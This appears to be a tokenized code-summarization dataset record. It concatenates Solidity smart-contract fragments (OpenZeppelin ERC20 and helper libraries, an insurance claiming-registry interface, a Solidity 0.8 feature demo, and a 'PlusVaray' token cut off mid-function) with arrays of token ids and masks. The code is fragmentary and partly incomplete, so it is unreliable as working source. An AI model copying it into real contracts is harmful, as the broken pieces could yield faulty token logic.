import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | @notice distributes the policybook premiums into pools (CP, ULP , RP) @dev distributes the balances acording to the established percentages @param _stblAmount amount hardSTBL ingressed into the system @param _epochsNumber uint256 the number of epochs which the policy holder will pay a premium for @param _protocolFee uint256 the amount of protocol fee earned by premium @notice distributes the hardSTBL from the coverage providers @dev emits PoolBalancedUpdated event @param _stblAmount amount hardSTBL ingressed into the system @notice distributes the hardSTBL from the leverage providers @dev emits PoolBalancedUpdated event @param _stblAmount amount hardSTBL ingressed into the system @notice distributes the hardSTBL from the reinsurance pool @dev emits PoolBalancedUpdated event @param _stblAmount amount hardSTBL ingressed into the system @notice rebalances pools acording to v2 specification and dao enforced policies @dev emits PoolBalancesUpdated @notice Fullfils policybook claims by transfering the balance to claimer @param _claimer, address of the claimer recieving the withdraw @param _stblAmount uint256 amount to be withdrawn @notice Withdraws liquidity from a specific policbybook to the user @param _sender, address of the user beneficiary of the withdraw @param _stblAmount uint256 amount to be withdrawn @param _isLeveragePool bool wether the pool is ULP or CP(policybook) SPDX-License-Identifier: MIT | interface IClaimingRegistry {
function virtualUsdtAccumulatedBalance() external view returns (uint256);
function addPolicyHoldersHardSTBL(
uint256 _stblAmount,
uint256 _epochsNumber,
uint256 _protocolFee
) external returns (uint256);
function addCoverageProvidersHardSTBL(uint256 _stblAmount) external;
function addLeverageProvidersHardSTBL(uint256 _stblAmount) external;
function addReinsurancePoolHardSTBL(uint256 _stblAmount) external;
function rebalanceLiquidityCushion() external;
function fundClaim(address _claimer, uint256 _stblAmount) external;
function withdrawLiquidity(
address _sender,
uint256 _stblAmount,
bool _isLeveragePool
) external;
}
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "./IPolicyBookFabric.sol";
enum ClaimStatus {
CAN_CLAIM,
UNCLAIMABLE,
PENDING,
AWAITING_CALCULATION,
REJECTED_CAN_APPEAL,
REJECTED,
ACCEPTED
}
struct ClaimInfo {
address claimer;
address policyBookAddress;
string evidenceURI;
uint256 dateSubmitted;
uint256 dateEnded;
bool appeal;
ClaimStatus status;
uint256 claimAmount;
}
}
| 14,414,579 | [
1,
2251,
1141,
326,
3329,
3618,
23020,
5077,
87,
1368,
16000,
261,
4258,
16,
587,
14461,
269,
534,
52,
13,
225,
1015,
1141,
326,
324,
26488,
279,
4643,
358,
326,
19703,
5551,
1023,
225,
389,
334,
3083,
6275,
3844,
7877,
882,
14618,
12152,
4638,
1368,
326,
2619,
225,
389,
28530,
1854,
2254,
5034,
326,
1300,
434,
25480,
1492,
326,
3329,
10438,
903,
8843,
279,
23020,
5077,
364,
225,
389,
8373,
14667,
2254,
5034,
326,
3844,
434,
1771,
14036,
425,
1303,
329,
635,
23020,
5077,
225,
1015,
1141,
326,
7877,
882,
14618,
628,
326,
11196,
9165,
225,
24169,
8828,
13937,
72,
7381,
871,
225,
389,
334,
3083,
6275,
3844,
7877,
882,
14618,
12152,
4638,
1368,
326,
2619,
225,
1015,
1141,
326,
7877,
882,
14618,
628,
326,
884,
5682,
9165,
225,
24169,
8828,
13937,
72,
7381,
871,
225,
389,
334,
3083,
6275,
3844,
7877,
882,
14618,
12152,
4638,
1368,
326,
2619,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
5831,
467,
9762,
310,
4243,
288,
203,
565,
445,
5024,
3477,
7510,
8973,
5283,
690,
13937,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
527,
2582,
27003,
29601,
882,
14618,
12,
203,
3639,
2254,
5034,
389,
334,
3083,
6275,
16,
203,
3639,
2254,
5034,
389,
28530,
1854,
16,
203,
3639,
2254,
5034,
389,
8373,
14667,
203,
565,
262,
3903,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
527,
9739,
10672,
29601,
882,
14618,
12,
11890,
5034,
389,
334,
3083,
6275,
13,
3903,
31,
203,
203,
565,
445,
527,
1682,
5682,
10672,
29601,
882,
14618,
12,
11890,
5034,
389,
334,
3083,
6275,
13,
3903,
31,
203,
203,
565,
445,
527,
426,
2679,
295,
1359,
2864,
29601,
882,
14618,
12,
11890,
5034,
389,
334,
3083,
6275,
13,
3903,
31,
203,
203,
565,
445,
283,
12296,
48,
18988,
24237,
39,
1218,
285,
1435,
3903,
31,
203,
203,
565,
445,
284,
1074,
9762,
12,
2867,
389,
830,
69,
4417,
16,
2254,
5034,
389,
334,
3083,
6275,
13,
3903,
31,
203,
203,
565,
445,
598,
9446,
48,
18988,
24237,
12,
203,
3639,
1758,
389,
15330,
16,
203,
3639,
2254,
5034,
389,
334,
3083,
6275,
16,
203,
3639,
1426,
389,
291,
1682,
5682,
2864,
203,
565,
262,
3903,
31,
203,
97,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
27,
18,
24,
31,
203,
683,
9454,
23070,
10336,
45,
7204,
58,
22,
31,
203,
203,
5666,
25165,
2579,
1590,
9084,
42,
12159,
18,
18281,
14432,
203,
203,
565,
2792,
18381,
1482,
288,
203,
3639,
2
] |
* arithmetic operations revert on underflow and overflow
* custom errors
* functions outside contract
* import {symbol1 as alias, symbol2} from "filename";
* Salted contract creations / create2
* SMTChecker
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
// safe math
contract SafeMath {
function testUnderflow() public pure returns (uint) {
uint x = 0;
x--;
return x;
}
function testUncheckedUnderflow() public pure returns (uint) {
uint x = 0;
unchecked { x--; }
return x;
}
}
// custom error
error Unauthorized();
contract VendingMachine {
address payable owner = payable(msg.sender);
function withdraw() public {
if (msg.sender != owner)
revert Unauthorized();
owner.transfer(address(this).balance);
}
// ...
}
error InsufficientBalance(uint256 available, uint256 required);
contract TestToken {
mapping(address => uint) balance;
function transfer(address to, uint256 amount) public {
if (amount > balance[msg.sender])
revert InsufficientBalance({
available: balance[msg.sender],
required: amount
});
balance[msg.sender] -= amount;
balance[to] += amount;
}
}
// functions outside contract
function helper(uint x) view returns (uint) {
return x * 2;
}
contract SimpleAuction {
function bid() public payable { // Function
// ...
}
}
contract TestHelper {
function test() external view returns (uint) {
return helper(123);
}
}
// * import {symbol1 as alias, symbol2} from "filename";
import { Unauthorized, helper as h1 } from "./Sol08.sol";
function helper(uint x) view returns (uint) {
}
contract Import {
}
// Salted contract creations / create2
contract D {
uint public x;
constructor(uint a) {
x = a;
}
}
contract Create2 {
function getBytes32(uint salt) external pure returns (bytes32) {
return bytes32(salt);
}
function getAddress(bytes32 salt, uint arg) external view returns (address) {
address addr = address(uint160(uint(keccak256(abi.encodePacked(
bytes1(0xff),
address(this),
salt,
keccak256(abi.encodePacked(
type(D).creationCode,
arg
))
)))));
return addr;
}
address public deployedAddr;
function createDSalted(bytes32 salt, uint arg) public {
D d = new D{salt: salt}(arg);
deployedAddr = address(d);
}
}
// SMT
contract Overflow {
uint immutable x;
uint immutable y;
function add(uint _x, uint _y) internal pure returns (uint) {
return _x + _y;
}
constructor(uint _x, uint _y) {
(x, y) = (_x, _y);
}
function stateAdd() public view returns (uint) {
return add(x, y);
}
} | * import {symbol1 as alias, symbol2} from "filename"; | import { Unauthorized, helper as h1 } from "./Sol08.sol";
| 926,920 | [
1,
5666,
288,
7175,
21,
487,
2308,
16,
3273,
22,
97,
628,
315,
3459,
14432,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5666,
288,
15799,
16,
4222,
487,
366,
21,
289,
628,
25165,
20608,
6840,
18,
18281,
14432,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-09-06
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract PlusVaray is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "PlusVaray";
symbol = "PVY";
decimals = 18;
_totalSupply = 8000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
